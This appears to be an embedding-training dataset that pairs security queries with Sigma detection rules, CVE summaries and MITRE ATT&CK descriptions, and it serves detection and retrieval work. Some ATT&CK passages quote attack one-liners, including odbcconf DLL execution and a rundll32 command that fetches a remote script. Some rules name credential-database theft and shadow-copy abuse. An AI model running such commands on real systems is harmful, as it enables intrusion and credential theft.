alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: detection rule: Detects creation of a file named "ntds.dit" (Active Directory Database)
Matching passage: Sigma rule: Detects creation of a file named "ntds.dit" (Active Directory Database). Logsource: windows / file_event. Rule: title: NTDS.DIT Created id: 0b8baa3f-575c-46ee-8715-d6f28cc7d33c status: test description: Detects creation of a file named "ntds.dit" (Active Directory Database) references: - Internal Research author: Nasreddine Bencherchali (Nextron Systems) date: 2023-05-05 tags: - attack.credential-access - attack.t1003.003 logsource: product: windows category: file_event detection: selection: TargetFilename|endswith: ntds.dit condition: selection falsepositives: - Unknown level: low
Near-miss passage: Sigma rule: Detects the execution of Radmin which can be abused by an adversary to remotely control Windows machines. Logsource: windows / process_creation. Rule: title: PUA - Radmin Viewer Utility Execution id: 5817e76f-4804-41e6-8f1d-5fa0b3ecae2d status: test description: Detects the execution of Radmin which can be abused by an adversary to remotely control Windows machines references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1072/T1072.md - https://www.radmin.fr/ author: frack113 date: 2022-01-22 modified: 2023-12-11 tags: - attack.execution - attack.lateral-movement - attack.t1072 logsource: category: process_creation product: windows detection: selection: - Description: Radmin Viewer - Product: Radmin Viewer - OriginalFileName: Radmin.exe condition: selection falsepositives: - Unknown level: medium
Query: CVE similar to CVE-2015-5190
Matching passage: CVE-2015-5190. CWE: CWE-77. CVSS: 8.5. The pcsd web UI in PCS 0.9.139 and earlier allows remote authenticated users to execute arbitrary commands via "escape characters" in a URL.
Near-miss passage: CVE-2015-6024. CWE: CWE-77. CVSS: 9.800000190734863. ping.cgi in NetCommWireless HSPA 3G10WVE wireless routers with firmware before 3G10WVE-L101-S306ETS-C01_R05 allows remote authenticated users to execute arbitrary commands via shell metacharacters in the DIA_IPADDRESS parameter.
Query: CVE similar to CVE-2015-0323
Matching passage: CVE-2015-0323. CWE: CWE-119. CVSS: 10.0. Heap-based buffer overflow in Adobe Flash Player before 13.0.0.269 and 14.x through 16.x before 16.0.0.305 on Windows and OS X and before 11.2.202.442 on Linux allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-0327.
Near-miss passage: CVE-2015-3738. CWE: CWE-119. CVSS: 6.800000190734863. WebKit, as used in Apple iOS before 8.4.1 and Safari before 6.2.8, 7.x before 7.1.8, and 8.x before 8.0.8, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site, a different vulnerability than other WebKit CVEs listed in APPLE-SA-2015-08-13-1 and APPLE-SA-2015-08-13-3.
Query: rule covering Number of VM creations or deployment activities occur in Azure via the azureactivity log.
Matching passage: Sigma rule: Number of VM creations or deployment activities occur in Azure via the azureactivity log.. Logsource: azure / activitylogs. Rule: title: Number Of Resource Creation Or Deployment Activities id: d2d901db-7a75-45a1-bc39-0cbf00812192 status: test description: Number of VM creations or deployment activities occur in Azure via the azureactivity log. references: - https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Creating_Anomalous_Number_Of_Resources_detection.yaml author: sawwinnnaung date: 2020-05-07 modified: 2023-10-11 tags: - attack.privilege-escalation - attack.persistence - attack.t1098 logsource: product: azure service: activitylogs detection: keywords: - Microsoft.Compute/virtualMachines/write - Microsoft.Resources/deployments/write condition: keywords falsepositives: - Valid change level: medium
Near-miss passage: Sigma rule: Detects when a new identity provider is created for Okta.. Logsource: okta / okta. Rule: title: Okta Identity Provider Created id: 969c7590-8c19-4797-8c1b-23155de6e7ac status: test description: Detects when a new identity provider is created for Okta. references: - https://developer.okta.com/docs/reference/api/system-log/ - https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection author: kelnage date: 2023-09-07 modified: 2026-04-27 tags: - attack.privilege-escalation - attack.persistence - attack.t1098.001 logsource: product: okta service: okta detection: selection: eventType: system.idp.lifecycle.create condition: selection falsepositives: - When an admin creates a new, authorised identity provider. level: medium
Query: CVE similar to CVE-2015-4336
Matching passage: CVE-2015-4336. CWE: CWE-77. CVSS: 6.5. cloner.functions.php in the XCloner plugin 3.1.2 for WordPress allows remote authenticated users to execute arbitrary commands via a file containing filenames with shell metacharacters, as demonstrated by using the backup comments feature to create the file.
Near-miss passage: CVE-2015-3678. CWE: CWE-77. CVSS: 7.199999809265137. AppleThunderboltEDMService in Apple OS X before 10.10.4 allows local users to gain privileges or cause a denial of service (memory corruption) via unspecified Thunderbolt commands.
Query: adversary uses Odbcconf
Matching passage: T1218.008 Odbcconf. Tactics: stealth. Description: Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft. Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute DLLs (ex: <code>odbcconf.exe /S /A &lbrace;REGSVR "C:\Users\Public\file.dll"&rbrace;</code>). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)
Near-miss passage: T1218.011 Rundll32. Tactics: stealth. Description: Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe. Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion) Threat actors may also abuse legitimate, signed system DLLs (e.g., <code>zipfldr.dll, ieframe.dll</code>) with <code>rundll32.exe</code> to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll) Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleD
Query: mitigate Acquire Infrastructure
Matching passage: T1583 Acquire Infrastructure. Tactics: resource development. Description: Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost.(Citation: Free Trial PurpleUrchin) Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation: Mandiant APT29 Microsoft 365 2022) Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.
Near-miss passage: T1583.006 Web Services. Tactics: resource development. Description: Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566). Using common services, such as those offered by Google, GitHub, or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: FireEye APT29)(Citation: Hacker News GitHub Abuse 2024) By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.
Query: exploit A vulnerability was found in Little Apps Little Software Stats. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file inc/class.s
Matching passage: CVE-2015-10057. CWE: CWE-284. CVSS: 9.800000190734863. A vulnerability was found in Little Apps Little Software Stats. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file inc/class.securelogin.php of the component Password Reset Handler. The manipulation leads to improper access controls. The complexity of an attack is rather high. The exploitation appears to be difficult. Upgrading to version 0.2 is able to address this issue. The identifier of the patch is 07ba8273a9311d1383f3686ac7cb32f20770ab1e. It is recommended to upgrade the affected component. The identifier VDB-218401 was assigned to this vulnerability.
Near-miss passage: CVE-2015-3072. CWE: CWE-284. CVSS: 10.0. Adobe Reader and Acrobat 10.x before 10.1.14 and 11.x before 11.0.11 on Windows and OS X allow attackers to bypass intended restrictions on JavaScript API execution via unspecified vectors, a different vulnerability than CVE-2015-3060, CVE-2015-3061, CVE-2015-3062, CVE-2015-3063, CVE-2015-3064, CVE-2015-3065, CVE-2015-3066, CVE-2015-3067, CVE-2015-3068, CVE-2015-3069, CVE-2015-3071, CVE-2015-3073, and CVE-2015-3074.
Query: vulnerability: WebKit in Apple iOS before 9 mishandles "Content-Disposition: attachment" HTTP headers, which might allow man-in-the-middle attackers to obtain sensitive information via unspecifie
Matching passage: CVE-2015-5921. CWE: CWE-200. CVSS: 4.300000190734863. WebKit in Apple iOS before 9 mishandles "Content-Disposition: attachment" HTTP headers, which might allow man-in-the-middle attackers to obtain sensitive information via unspecified vectors.
Near-miss passage: CVE-2015-7787. CWE: CWE-200. CVSS: 4.300000190734863. ASUS Japan WL-330NUL devices with firmware before 3.0.0.42 allow remote attackers to discover the WPA2-PSK passphrase via unspecified vectors.
Query: alert when Detects the doas tool execution in linux host platform. This utility tool allow standard users to perform tasks as root,
Matching passage: Sigma rule: Detects the doas tool execution in linux host platform. This utility tool allow standard users to perform tasks as root,. Logsource: linux / process_creation. Rule: title: Linux Doas Tool Execution id: 067d8238-7127-451c-a9ec-fa78045b618b status: stable description: Detects the doas tool execution in linux host platform. This utility tool allow standard users to perform tasks as root, the same way sudo does. references: - https://research.splunk.com/endpoint/linux_doas_tool_execution/ - https://www.makeuseof.com/how-to-install-and-use-doas/ author: Sittikorn S, Teoderick Contreras date: 2022-01-20 tags: - attack.privilege-escalation - attack.t1548 logsource: product: linux category: process_creation detection: selection: Image|endswith: /doas condition: selection falsepositives: - Unlikely level: low
Near-miss passage: Sigma rule: Detects when an attacker create a similar folder structure to windows system folders such as (Windows, Program Files...). Logsource: windows / file_event. Rule: title: DLL Search Order Hijackig Via Additional Space in Path id: b6f91281-20aa-446a-b986-38a92813a18f status: test description: 'Detects when an attacker create a similar folder structure to windows system folders such as (Windows, Program Files...) but with a space in order to trick DLL load search order and perform a "DLL Search Order Hijacking" attack ' references: - https://twitter.com/cyb3rops/status/1552932770464292864 - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows author: frack113, Nasreddine Bencherchali (Nextron Systems) date: 2022-07-30 tags: - attack.persistence - attack.privilege-escalation - attack.execution - attack.stealth - attack.t1574.001 logsource: category: file_event product: windows detection: selection: TargetFilename|startswith: - C:\Windows \ - C:\Program Files \ - C:\Program Files (x86) \ TargetFilename|endswith: .dll condition: selection falsepositives: - Unknown level: high
Query: risk of Microsoft .NET Framework 2.0 SP2, 3.5, and 3.5.1 allows remote attackers to bypass the ASLR protection mechanism via a crafted web site, aka ".NET ASLR Bypass."
Matching passage: CVE-2015-6115. CWE: CWE-200. CVSS: 4.300000190734863. Microsoft .NET Framework 2.0 SP2, 3.5, and 3.5.1 allows remote attackers to bypass the ASLR protection mechanism via a crafted web site, aka ".NET ASLR Bypass."
Near-miss passage: CVE-2015-2018. CWE: CWE-200. CVSS: 3.5. IBM Integration Bus 9 and 10 before 10.0.0.1 and WebSphere Message Broker 7 before 7.0.0.8 and 8 before 8.0.0.7 do not ensure that the correct security profile is selected, which allows remote authenticated users to obtain sensitive information via unspecified vectors.
Query: detection engineering for Control Panel
Matching passage: T1218.002 Control Panel. Tactics: stealth. Description: Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a <code>CPlApplet</code> function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) Malicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists. Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to <code>HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls</code>. Even when these registered DLLs do not comply with the CPL file specification and do not export <code>CPlApplet</code> functions, they are loaded and executed through its <code>DllEntryPoint</code> when Control Panel is executed. CPL files not exporting <code>CPlApplet</code> are not directly executable.(Citation: ESET InvisiMole June 2020)
Near-miss passage: T1218.001 Compiled HTML File. Tactics: stealth. Description: Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program) A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)
Query: risk of Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT Gold and 8.1, Windows 10, Excel 
Matching passage: CVE-2015-2423. CWE: CWE-200. CVSS: 4.300000190734863. Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT Gold and 8.1, Windows 10, Excel 2007 SP3, PowerPoint 2007 SP3, Visio 2007 SP3, Word 2007 SP3, Office 2010 SP2, Excel 2010 SP2, PowerPoint 2010 SP2, Visio 2010 SP2, Word 2010 SP2, Excel 2013 SP1, PowerPoint 2013 SP1, Visio 2013 SP1, Word 2013 SP1, Excel 2013 RT SP1, PowerPoint 2013 RT SP1, Visio 2013 RT SP1, Word 2013 RT SP1, and Internet Explorer 7 through 11 allow remote attackers to gain privileges and obtain sensitive information via a crafted command-line parameter to an Office application or Notepad, as demonstrated by a transition from Low Integrity to Medium Integrity, aka "Unsafe Command Line Parameter Passing Vulnerability."
Near-miss passage: CVE-2015-2058. CWE: CWE-200. CVSS: 6.5. c2s/c2s.c in Jabber Open Source Server 2.3.2 and earlier truncates data without ensuring it remains valid UTF-8, which allows remote authenticated users to read system memory or possibly have other unspecified impact via a crafted JID.
Query: detect Detects activity when the settings of the Windows firewall have been changed in logs
Matching passage: Sigma rule: Detects activity when the settings of the Windows firewall have been changed. Logsource: windows / firewall-as. Rule: title: Windows Firewall Settings Have Been Changed id: 00bb5bd5-1379-4fcf-a965-a5b6f7478064 status: test description: Detects activity when the settings of the Windows firewall have been changed references: - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10) author: frack113, Nasreddine Bencherchali (Nextron Systems) date: 2022-02-19 modified: 2023-04-21 tags: - attack.defense-impairment - attack.t1686.003 logsource: product: windows service: firewall-as detection: selection: EventID: - 2002 - 2083 - 2003 - 2082 - 2008 condition: selection level: low
Near-miss passage: Sigma rule: Detects the image load of vss_ps.dll by uncommon executables. This DLL is used by the Volume Shadow Copy Service (VSS) t. Logsource: windows / image_load. Rule: title: Suspicious Volume Shadow Copy VSS_PS.dll Load id: 333cdbe8-27bb-4246-bf82-b41a0dca4b70 related: - id: 48bfd177-7cf2-412b-ad77-baf923489e82 type: similar - id: 37774c23-25a1-4adb-bb6d-8bb9fd59c0f8 type: similar status: test description: 'Detects the image load of vss_ps.dll by uncommon executables. This DLL is used by the Volume Shadow Copy Service (VSS) to manage shadow copies of files and volumes. It is often abused by attackers to delete or manipulate shadow copies, which can hinder forensic investigations and data recovery efforts. The fact that it is loaded by processes that are not typically associated with VSS operations can indicate suspicious activity. ' references: - https://www.virustotal.com/gui/file/ba88ca45589fae0139a40ca27738a8fc2dfbe1be5a64a9558f4e0f52b35c5add - https://twitter.com/am0nsec/status/1412232114980982787 author: Markus Neis, @markus_neis date: 2021-07-07 modified: 2025-07-11 tags: - attack.impact - attack.t1490 logsource: category: image_load product: windows detection: selection: ImageLoaded|endswith: \vss_ps.dll filter_main_legit: Image|startswith: C:\Windows\ Image|endswith: - \clussvc.exe - \dismhost.exe - \dllhost.exe - \inetsrv\appcmd.exe - \inetsrv\iissetup.exe - \msiexec.exe - \rundll32.exe - \searchindexer.exe - \srtasks.exe - \svchost.exe - \System32\SystemPropertiesAdvanced.exe - \taskhostw.exe - \thor.exe - \thor64.exe - \tiworker.exe - \vssvc.exe - \vssadmin.exe - \WmiPrvSE.exe - \wsmprovhost.exe filter_main_update: CommandLine|startswith: C:\$WinREAgent\Scratch\ CommandLine|contains: \dismhost.exe { filter_main_image_null: Image: null filter_optional_programfiles: Image|startswith: - C:\Program Files\ - C:\Program Files (x86)\ condition: selection and not 1 of filter_main_* and not 1 of filter_optional_* falsepositives: - Unknown level: high
Query: exploit The read_CodersInfo function in archive_read_support_format_7zip.c in libarchive before 3.2.0 allows remote attackers to cause a denial of service (NULL pointer dereference and cra
Matching passage: CVE-2015-8922. CWE: CWE-476. CVSS: 5.5. The read_CodersInfo function in archive_read_support_format_7zip.c in libarchive before 3.2.0 allows remote attackers to cause a denial of service (NULL pointer dereference and crash) via a crafted 7z file, related to the _7z_folder struct.
Near-miss passage: CVE-2015-8750. CWE: CWE-476. CVSS: 6.5. libdwarf 20151114 and earlier allows remote attackers to cause a denial of service (NULL pointer dereference and crash) via a debug_abbrev section marked NOBITS in an ELF file.
Query: vulnerability: Multiple unspecified vulnerabilities in the browser engine in Mozilla Firefox before 36.0 allow remote attackers to cause a denial of service (memory corruption and application cra
Matching passage: CVE-2015-0835. CWE: UNKNOWN. CVSS: 7.5. Multiple unspecified vulnerabilities in the browser engine in Mozilla Firefox before 36.0 allow remote attackers to cause a denial of service (memory corruption and application crash) or possibly execute arbitrary code via unknown vectors.
Near-miss passage: CVE-2015-1188. CWE: UNKNOWN. CVSS: 7.5. The certificate verification functions in the HNDS service in Swisscom Centro Grande (ADB) DSL routers with firmware before 6.14.00 allows remote attackers to access the management functions via unknown vectors.